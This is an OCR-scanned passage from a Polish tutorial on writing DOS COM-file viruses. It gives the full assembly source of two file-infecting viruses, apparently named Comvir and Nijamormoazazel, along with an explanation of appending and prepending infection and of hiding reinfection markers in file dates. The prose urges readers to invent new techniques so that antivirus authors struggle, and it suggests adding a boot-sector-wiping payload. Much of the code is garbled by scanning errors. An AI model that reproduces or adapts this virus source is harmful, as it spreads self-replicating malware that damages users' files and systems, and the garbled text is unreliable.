"C:\ALA\MA\KOTA, ’C:\ALA\MA, ’C:\ALA’ i ’C:\ w wymienionej kolejnosci.

Przejdzmy do analizy nastgpnego fragmentu kodu:

przywroc_trzy_pierwsze_bajty_ofiary:

push
push
pop
pop
lea
mov
movsb
movsb
movsb

CS
S
ds
es

si, [bpllstare_bajty]l

di, 0100h

; Przywracamy trzy pierwsze bajty na poczgtek ofiary. W naszym
; przypadku jest to kod - int 20h(0CDh 20h 00h), ktdory po skoku
; pod CS:0100h zakonczy program.

ustaw_nowe_DTA:

push
pop
lea
mov
int

cs
ds

dx, [bpllnowe_DTA]
ah, 1Ah

pobierz_katalog:

mov
xor
lea
int

21h
ah, 47h
dl, dl

si, [bpllbufor+l]
21h

; wczytaj do bufora biezgcy katalog
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mov [bpllbufor], ’\’

nastepny_katalog:

call infekcja ; zainfekuj wszystkie pliki w katalogu
mov ah, 3Bh ; zmien katalog na *..’ (do goéry)

Tea dx, [bpllw_gore]

int 21h

jc przywroc_katalog ; Jezeli btad to katalog gtowny

jmp nastepny_katalog

przywroc_katalog:

mov ah, 3Bh ; zmien na zapamigetany katalog
Tea dx, [bpllbufor]
int 21h

aktywacja:

; tu nalezy wpisaC psikusa np. zamazanie BOOT sektora

skocz_do_nosiciela:
mov ax, 0100h ; skok pod CS:0100h (do nosiciela)
jmp ax
Pamigetajmy, ze pod adres CS:0100h skopiowalidmy instrukcje
int 20h. Zakonczy ona poprawnie pierwsze pokolenie wirusa.

;***********************TU KONCZY SIE KOD WIRUSA

virus_data:

stare_bajty db 0CDh, 20h, 90h
nowe_DTA DTA 72,72,7,7,72.,7
maska_COM db **.COM*, O
uchwyt dw 0000h

w_gore db .., 0

bufor db 66 dup (0)
dlugosc_ofiary dw 0000h
skok_do_wirusa db OE9h, 00h, 00h

virus_procedury:

; procedura infekujgca wszystkie pliki COM w biezgcym katalogu
infekcja PROC

push cs

pop ds

mov ah, 4Eth ; Szukaj pierwszu plik
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mov cx, atrybut

lea dx, [bpllmaska_COM]

int 21h

jnc znaleziono_plik_typu_COM
Jjmp nie_ma_pliku_COM

znaleziono_plik_typu_COM:
cmp [bpllnowe_DTA.DTAdata], Vznacznik ; czy zarazony?
jne plik_jeszcze_nie_zarazony
Jjmp szukaj_nastepny
; Powyzsze instrukcje porownujg date modyfikacji pliku.
; Jezeli data zgadza sie ze wzorcem, to znaczy, ze plik jest juz
; zarazony 1 nalezy znalezC inny.

plik_jeszcze_nie_zarazony:
mov ah, 43h ; zmien atrybut na archiwalny
mov al, 01h
mov cx, atr_archiwalny
lea dx, [bpllnowe_DTA.DTAnazwa]l
int 21h
; /miana atrybutu na archiwalny umozliwi nam réwniez infekcje
; plikéw COM majgcych ustawiony atrybut tylko do odczytu.

otworz_plik:
mov ah, 3Dh
mov al, 02h
Tea dx, [bpllnowe_DTA.DTAnazwa]
int 21h
jnc zapisz_uchwyt
jmp szukaj_nastepny

zapisz_uchwyt:
mov bx, ax
mov [bplluchwyt], bx ; Zapamietaj uchwyt otwartego
; pliku.

odczytaj_trzy_pierwsze_bajty:
mov ah, 3Fh
push cs
pop ds
lea dx, [bpllstare_bajty]
mov cx, 0003h
int 21h
; Zapamietujemy trzy stare bajty infekowanego programu.
; Bez tego nie bytoby mozliwe uleczenie ofiary przed skokiem
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; pod CS:0100h

policz_dlugosc:

mov ah, 42h ; przesun wskaznik pliku

mov  bx, [bpJluchwyt]

Xor CX, CX ; 0 0 bajtow

xor dx, dx

mov al, 02h ; na koniec

int 21h ; DX:AX - dlugosc pliku

mov [bplldlugosc_ofiary], ax

cmp dx, 0000h ; czy rozmiar pliku wiekszy niz 64KB?
je zapisz_rozkaz_skoku_do_wirusa

Jjmp zamknij_plik ; Jezeli tak to nie infekuj

; Jak napisatem wczesSniej plik COM moze mieC co najwyzej

; 64KB dtugosSci. Jezeli ma wiecej to znaczy, ze nie jest

; to plik COM. Wtedy nie infekujemy pliku. Ten zabieg

; ochroni nas np. przed infekcjg COMMAND.COM.

; P1ik COMMAND.COM ma inng budowge i nie mozna infekowac

; go przez skok. Taka préba zakonczytaby sie zniszczeniem pliku
; 1 zawieszeniem systemu, a na tym nam nie zalezy.

zapisz_rozkaz_skoku_do_wirusa:
mov ah, 42h ; wskaznik pliku na poczatek
mov al, 0
mov cx, O
mov dx, O
mov bx, [bpJluchwyt]
int 21h

mov ax, [bplldlugosc_ofiary]
sub ax, 0003h
mov skok_do_wirusall], al
mov skok_do_wirusal2], ah
; Powyzsze trzy 1inijki budujg rozkaz skoku do wirusa, ktory
; zostanie zapisany na poczatku infekowanego programu.
; 0d dtugosci ofiary odjemujemy 3 bajty. Jest
; to zwigzne z interpretacjg adresu przez roakaz 0E9, poniewaz
; rozkaz liczy affset od swego konca. Pisatem Jjuz o tym wczesSniej.

; Zauwaz roéwniez, ze najpierw zapisujemy mtodszy bajt skoku,
; a potem starszy. Jest to zwigzane z odwrotng kolejnoScia

; przechowywania bajtéw na dysku. Np. Ticzba 01FFh

; po zapisaniu do pliku powinna wyglgdac: OFFh 0lh
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No cdz Assembler jest troche pokopany :)
; Musisz troche pobawiC sie HEXeditorem i Debuggerem
; zeby nabracC wprawy.

mov ah, 40h ; zapisz do pliku
mov  bx, [bpJluchwyt]

mov cx, 0003h ; trzy bajty

push cs

pop ds

Tea dx, [bpllskok_do_wirusal]

int  21h

zapisz_wirusa_do_pliku:
mov ah, 42h ; przesun wskaznik pliku na koniec
mov al, 02h
mov cx, 0000h
mov dx, 0000h
mov bx, [bpJluchwyt]
int 21h

mov ah, 40h ; zapisz wirusa na koncu pliku
mov cx, dlugosc_wirusa

push c¢s

pop ds

mov  bx, [bplluchwyt]

mov dx, offset virus_start

add dx, bp ; Teraz w DX znajduje sie

int 21h ; przesuniecie wirusa w segmencie.

oznacz_Jjako_zarazony:
mov ah, 57h ; zmien date ostatniej modyfikacji
mov al, 01h
mov  bx, [bplluchwyt]
mov dx, VZnacznik
mov cx, [bpllnowe_DTA.DTAczas]
int 21h

zamknij_plik:
mov ah, 3Eh
mov bx, [bplluchwyt]
int 21h

szukaj_nastepny:
mov ah, 4Fh ; fukncja - szukaj kolejny plik
lea dx, [bpllnowe_DTA.DTAnazwa]l
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int 21h
jc nie_ma_pliku_COM ; Jezeli btad to nie ma juz wiecej plkow
Jjmp znaleziono_plik_typu_COM

nie_ma_pliku_COM:
ret

infekcja ENDP

sygn db 13, 10
db ’Virus name: Comvir’, 0, 13, 10
db  ’Virus Author: PIOTR LADYZYNSKI’, 0, 13, 10
db  ’Michalin 4 marca 2001r.”, O, 13, 10
db  ’POLAND’, 0, 13, 10

virus_end:

MojProgram ENDS
END start

6.6 Infekcja plikéw COM przez przesunigcie kodu programu

Sposéb infekeji plikéw COM przez skok do wirusa jest najczesciej wykorzystywana metoda in-
fekcji. Oczywiscie nie jedyng. W tym paragrafie przedstawig nieco bardziej oryginalny sposéb in-
fekcji plikéw COM. Moze zacheci Cig to do samodzielnych poszukiwan nowych technik infekeji?
Pamietaj, ze wykorzystanie kazdej nieznanej do tej pory techniki powoduje, ze wirus jest trud-
niejszy do wykrycia. Programisci antywiruséw beda musieli si¢ wiecej napracowa¢, aby napisac
skuteczne antidotum.

Jak zwykle przed przystapieniem do pracy zapoznajmy si¢ z nowymi funkcjami. Zebratem je
w tabelce 6.7.

Funkgja: 4Ah przerwania 21h

Nazwa: Zmiana dtugosci zarezerwowanego bloku pamigci
Wywotlanie: | ah = 4Ah

BX — nowy rozmiar feagmentu pamieci w paragrafach

ES — segment bloku, ktérego rozmiary zmieniamy

Powrét: cf=1 — wystapit blad i AX zawiera kod btedu, a BX maksy-
malny mozliwy do zarezerwowania rozmiar pamieci w para-
grafach

cf=0 — operacja si¢ powiodla
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Opis: Funkcja zmienia rozmiar bloku pamigci przydzielonego
przez system.
paragraf = 16 bajtéw
Funkgja: 48h przerwania 21h
Nazwa: Rezerwacja pamieci
Wywolanie: | ah = 48h
BX — ilo§¢ paragraféw pamigci jaka jest nam potrzebna
Powrét: cf=1 — wystapit btad.
-> AX — zawiera kod bledu
-> BX — maksymalny mozliwy do zarezerwowania roz-
miar pamieci (w paragrafach)
cf=0 - operacja si¢ powiodta.
-> AX — zawiera segment przydzielonego bloku pamigci
Opis: Funkcja alokuje pami¢¢ konwencjonalng i zwraca segment
zarezerwowanego bloku.
Funkgja: 49h przerwania 21h
Nazwa: Zwalnianie pamieci
Wywotanie: | ah = 49h
ES — segment pamigci do zwolnienia
Powrét: cf=1 — wystapit btad.
-> AX - zawiera kod bledu
cf=0 — operacja si¢ powiodla.
Opis: Funkcja zwalnia pamieé zarezerwowang przez funkcje 48h

Tabela 6.7: Przydatne funkgje (3)

W naszym nowym wirusie bedzie potrzebny nam blok pamieci o rozmiarze 64KB. Nie moze-
my oczywiscie zadeklarowac¢ tak duzej tablicy w samym programie. Zajetaby ona caley segment i
nie byloby juz miejsca na kod wirusa. Poza tym taki wirus bylby znacznie za dtugi. Rozwiazemy
ten problem inaczej. Wirus po uruchomieniu zarezerwuje sobie blok pamieci od systemu ope-
rayjnego za pomocg funkcji 48h. Pamigtajmy jednak, ze system operacyjny DOS po zatadowaniu
programu przydziela mu domyslnie calg dostepna pamieg¢, wiec jezeli sprobujemy zarezerwowac
jakis blok to funkcja 48h zwrdci blad — brak pamigci. Musimy najpierw zminejszy¢ pamigc do-
stepna dla programu. Dokonujemy tego za pomocg funkcji 4Ah. Do rejestru ES tadujemy wartos¢
segmentu programu - CS, a do BX= 4096. Programowi COM starczy 4096 paragraféw = 64KB.
Zmniejszymy przydzielong mu pamie¢ do jednego segmentu. Teraz mozemy juz zarezerwowac
potrzebny nam blok pamieci korzystajac z funkcji 48h.

6.6.1 Infekcja pliku

Przypomnijmy sobie wirusa OWSIK. Wirus ten dopisywal si¢ wta$nie na poczatku zarazanego
pliku zamazujac swoim kodem czg$¢ atakowanego programu. Bylo to zjawisko nieporzadane,
poniewaz nieodwracalnie uszkadzali$my atakowany program. Teraz zastoujemy podobng meto-
de infekcji, tyle, ze zamiast zapisal wirusa na programie przesuniemy kod programu o rozmiar
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wirusa i w puste miejsce na poczatku pliku zapiszemy mikroba.

] Zarazony plik COM

Kod wirusa
Kod programu przesuniety o dtugos$¢ wirusa

Oddanie sterowania do nosiciela

Zaletg takiej metody infekgji jest to, ze nie bedziemy musieli martwic si¢ o przesuniecie wzgledne
w wirusie, poniewaz nasz wirus bedzie si¢ zawsze zaczynat od adresu CS:0100h. Pojawia si¢ za to
inny problem. Pamigtajmy, ze program jest przesuniety, wiec jezeli po wykonaniu si¢ wirusa wy-
konamy skok do programu to offsety w programie nie beda sie zgadzaly. Program bedzie myslat,
ze znajduje si¢ pod adresem CS:0100h, a faktycznie bedzie znajdowat si¢ pod adresem CS:[0100h
+ dlugos¢ wirusa]. Jakiekolwiek odwolanie si¢ do zmiennej w programie spowoduje jego zawie-
szenie. Co powinni$my zrobi¢? Po wykonaniu si¢ wirusa powinni$my przekopiowaé program zza
wirusa pod adres CS:0100h i dopiero wykona¢ tam skok. Jezeli jednak zaczniemy kopioac pro-
gram w to miejsce, to zamazemy wykonujacy si¢ wlasnie kod wirusa i spowodujemy zawieszenie
systemu. Co zatem nalezy zrobi¢? Pamigtajmy, ze mamy zarezerwowany wczesniej blok pamieci.
A jakby skopiowac do tego bloku swoéj kod(wirusa), wykona¢ tam dtugi skok, skopiowa¢ program
pod adres stary_segment:0100h, i wykona¢ skok pod ten adres? Tak to jest rozwigzanie. Opisze je
nieco dokladniej:

Oddawanie sterowania do zarazonego programu

’ Stary segment programu H Segment przydzielony przez wirusa ‘

L. Kod wirusa
Przesuniety kod programu

2. Skopiuj kod wirusa do zarezerwowanego segmentu pod adres nowy_segment:0100h i wyko-
naj tam dhugi skok: jmp nowy_segment:0100h. Teraz wirus wykonuje si¢ w zupetnie innym
miejscu pamieci, wigc nie musimy si¢ ba¢, ze zamazemy jego kod.

’ Stary segment programu H Segment przydzielony przez wirusa ‘

Kod wirusa Kod wirusa
Przesuniety kod programu

3. Skopiuj program zza wirusa w starym segmencie na adres stary_segment:0100h. Spowoduje
to zamazanie starej kopii wirusa w pamieci programem.

’ Stary segment programu H Segment przydzielony przez wirusa

Kod programu Kod wirusa

4. Wykonaj daleki skok? pod adres stary_segment:0100h

Po wykonaniu powyzszych czynnosci program ofiara wykona si¢ prawidtowo.

2Skokiem dalekim nazywamy taki skok, ktéry zmienia zaréwno zawarto$¢ IP jak i zawarto$¢ CS
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Techinka infekg;ji
Infekcji nowego pliku dokonujemy réwniez przy pomocy zarezerwowanego bufora.
Infekcja pliku
1. Znajdz kolejny plik COM.
2. Wczytaj zawarto$¢ pliku do bufora.
3. Zapisz wirusa do pliku.

4. Zapisz do pliku program, za kodem wirusa.

6.6.2 Kod zrédtowy wirusa Nijamormoazazel_01

Po obszernym wstepie teoretycznym mozemy juz przej$¢ do analizy kodu zrédtowego:

; NIJAT.ASM

; Nijamormoazazell - jest wirusem plikéw COM.

; Infekuje Jjednak pliki w nietypowy sposob.
; Dopisuje sig na poczgtku ofiary, przesuwa-
; jac jeJ kod o swojg dtugoSc.

; Autor: Nijamormoazazel 20 Tutego 2002r. Michalin

; Kompilacja: TASM (z opcjg -m3)
: Linking: TLINK (z opcjg -t)

; atrybuty pozycji w katalogu
atr_tylko_do_odczytu = 00000001b

atr_ukryty = 00000010b
atr_systemowy = 00000100b
atr_volumelD = 00001000b
atr_katalog = 00010000b
atr_archiwalny = 00100000b
atrybut = 00100111b
DTA struc

DTATT 1] db 21 dup (0)
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DTAatrybut db 0
DTAczas dw 0
DTAdata dw 0
DTAdlugosc dd 0
DTAnazwa db 13 dup (0)
DTA ends
Vrok = 1999
Vmiesiac = 12
Vdzien =13

Vznacznik = (Vrok-1980)*512+Vmiesiac*32+Vdzien

dlugosc_wirusa = (offset virus_end)-(offset virus_start)

nijal SEGMENT
ASSUME CS:nijal, DS:nothing, ES:nothing, SS:nothing

org 0100h
virus_start:
mov ax, cs:[dlugosc_ofiary] ; Zapamietaj dtugo$¢ ofiary
push ax ; na pézniej.
mov ah, 4Ah ; /mniejsz pamielC przydzielong programowi
mov bx, 4096 ; do 64KB.
int 21h
jnc loc_01
jmp zakoncz ; JjesSli btad to zakoncz
loc_01:
mov ah, 48h ; Zarezerwu] 64KB pamieci.
mov bx, 4096
int 21h
jnc loc_02
jmp zakoncz
loc_02:
mov reserved_segment, ax ; zapamietaj nowy_segment
push c¢s
pop dx
mov cs:Lold_segment], dx ; zapamietaj stary_segment

call nijamormoazazell ; skok do wirusa
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powrot_do_ofiary:
pop ax ; zdejmij dtugos$¢ ofiary
mov cs:[dlugosc_ofiaryl, ax

push cs
pop ds
xor si, si
mov di, reserved_segment
mov es, di
Xor di, di
mov cx, dlugosc_wirusa
add cx, 0100h
rep movsb
; Przekopiuj kod wirusa do zarezerwowanego segmentu pod offset 0100h,

wykonaj_skok_do_kopii_wirusa:
mov dx, cs:[reserved_segment]
mov cs:[Jjmp_segment], dx
mov dx, offset przekopiuj_ofiare
mov  cs:[jmp_offset], dx
jmp  dword ptr cs:[jmp_offset]

; skok dtugi

; teraz jesteSmy juz w nowym segmencie
przekopiuj_ofiare:

mov dx, cs:[old_segment]

mov ds, dx

mov es, dx

mov di, 0100h

mov si, 0100h

add si, dlugosc_wirusa

mov cx, dlugosc_ofiary

rep movsb
; Przekopiuj nosiciela zza wirusa do stary_segment:0100h

skocz_do_ofiary:
mov ax, cs:[old_segment]
mov cs:[jmp_segment], ax
mov cs:[Jjmp_offset], 0100h
jmp  dword ptr cs:[jmp_offset]
; Skoczylismy do ofiary

zakoncz: ; ta etykieta sie nie wykona
mov ah, 09h
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push cs

pop ds

lea dx, [errl]
int 21h

mov ax, 4C01h
int 21h

virus_data:
errl db "Not enough memeory’, 13, 10, ’§’
dlugosc_ofiary dw (offset program_end)-(offset program_start)
reserved_segment dw 7

old_segment dw ?

jmp_offset dw ?
jmp_segment dw ?

nowe_DTA DTA 72,72,72,7,7.,7
maska_COM db **.com’, 0
uchwyt dw 7

bufor db 66 dup(’B’)
w_gore db >..”, O

virus_procs:

nijamormoazazell:
push cs
pop ds

ustaw_nowe_DTA:
mov ah, 1Ah
lea dx, [nowe_DTA]

int 21h
pobierz_katalog: ; znowu ten numer ze zmiang katalogu
mov ah, 47h
Xor dl, dl
lea si, [bufor+l]
int 21h

mov (buforl, *\~

nastepny_katalog:
call infect_current_dir

mov ah, 3Bh ; zmien katalog do goéry
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lea dx, [w_gore]

int 21h

jc przywroc_katalog
jmp nastepny_katalog

przywroc_katalog:
mov ah, 3Bh
Tea dx, [bpllbufor]
int 21h

przywroc_stare_DTA:
mov ah, 1Ah
mov dx, 0080h

push c¢s
pop ds
int 21h

infect_current_dir:

push cs
pop ds
mov ah, 4Eth ; Szukaj pierwszy plik

mov cx, atrybut

Tea dx, [maska_COM]

int 21h

jnc znaleziono_plik_typu_COM
jmp nie_ma_pliku_COM

znaleziono_plik_typu_COM:
cmp [nowe_DTA.DTAdatal, Vznacznik
jne plik_jeszcze_nie_zarazony
jmp szukaj_nastepny

plik_jeszcze_nie_zarazony:
mov ah, 43h ; zmien atrybut
mov al, 01h
mov cx, atr_archiwalny
lea dx, [nowe_DTA.DTAnazwa]
int 21h

otworz_plik:
mov ah, 3Dh
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mov al, 02h

lea dx, [nowe_DTA.DTAnazwa]
int 21h

jnc zapisz_uchwyt

jmp przywroc_atrybut

zapisz_uchwyt:
mov bx, ax
mov [uchwyt], bx

oblicz_dlugosc_ofiary:
mov ah, 42h ; przesun wskaznik na koniec
mov al, 02h
Xor CX, CX
xor dx, dx
int 21h ; DX:AX - zawiera teraz rozmiar pliku
mov [dlugosc_ofiary], ax

cmp dx, 0 ; czy rozmiar wiekszy niz 64KB?
je wskaznik_na_poczatek
jmp zamknij_plik

wskaznik_na_poczatek:
mov ah, 42h
mov al, 00h
Xor CX, CX
Xor dx, dx
mov bx, [uchwyt]
int 21h

odczytaj_zawartosc_pliku:
mov ax, [reserved_segment]
mov ds, ax
mov dx, 0
mov cx, [dlugosc_ofiary]
mov ah, 3Fh ; funkcja DOS - czytaj z pliku
int 21h
: Wczytujemy zawarto$S¢ ofiary do zarezerwowanego bufora.

wskaznik_na_poczatek_jeszcze_raz:
mov ah, 42h
mov al, 00h
xor CX, CX
Xor dx, dx
mov bx, [uchwyt]
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int 21h

zapisz_wirusa_do_pliku:
mov ah, 40h
mov bx, [uchwyt]
mov cx, dlugosc_wirusa

push cs

pop ds

mov dx, 0100h
int 21h

; Zapisujemy wirusa na poczatku zarazanego pliku.

zapisz_ofiare_do_pliku:
mov ah, 40h
mov bx, [uchwyt]
mov dx, [reserved_segment]
mov ds, dx
xor dx, dx
mov cx, [dlugosc_ofiary]
int 21h
; A teraz za wirusem zapisujemy program z bufora.

oznacz_Jjako_zarazony:
mov ah, 57h
mov al, 01h
mov bx, [uchwyt]
mov dx, Vznacznik
mov cx, [nowe_DTA.DTAczas]
int 21h

zamknij_plik:
mov ah, 3Eh
mov bx, [uchwyt]
int 21h

przywroc_atrybut:
mov ah, 43h ; zmien atrybut na oryginalny
mov al, 01h
mov cx, word ptr [nowe_DTA.DTAatrybut]
lea dx, [nowe_DTA.DTAnazwal
int 21h

szukaj_nastepny:
mov ah, 4Fh
push cs
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pop ds

int 21h

jc nie_ma_pliku_COM

jmp znaleziono_plik_typu_COM

nie_ma_pliku_COM:
ret

sygn db 13, 10
db *Virus name: Nijamormoazazell’, 13, 10
db ’Virus author: Nijamormoazazel ', 13, 10
db 20 February 2002 Michalin’, 13, 10
db ’Made in POLAND’, 13, 10
db ¢’

virus_end:

program_start: ; Tu zaczyna sie przesuniety
nop ; kod programu.
nop
nop
nop
nop
mov ax, 4C00h
int 21h

program_end:

nijal ENDS
end virus_start
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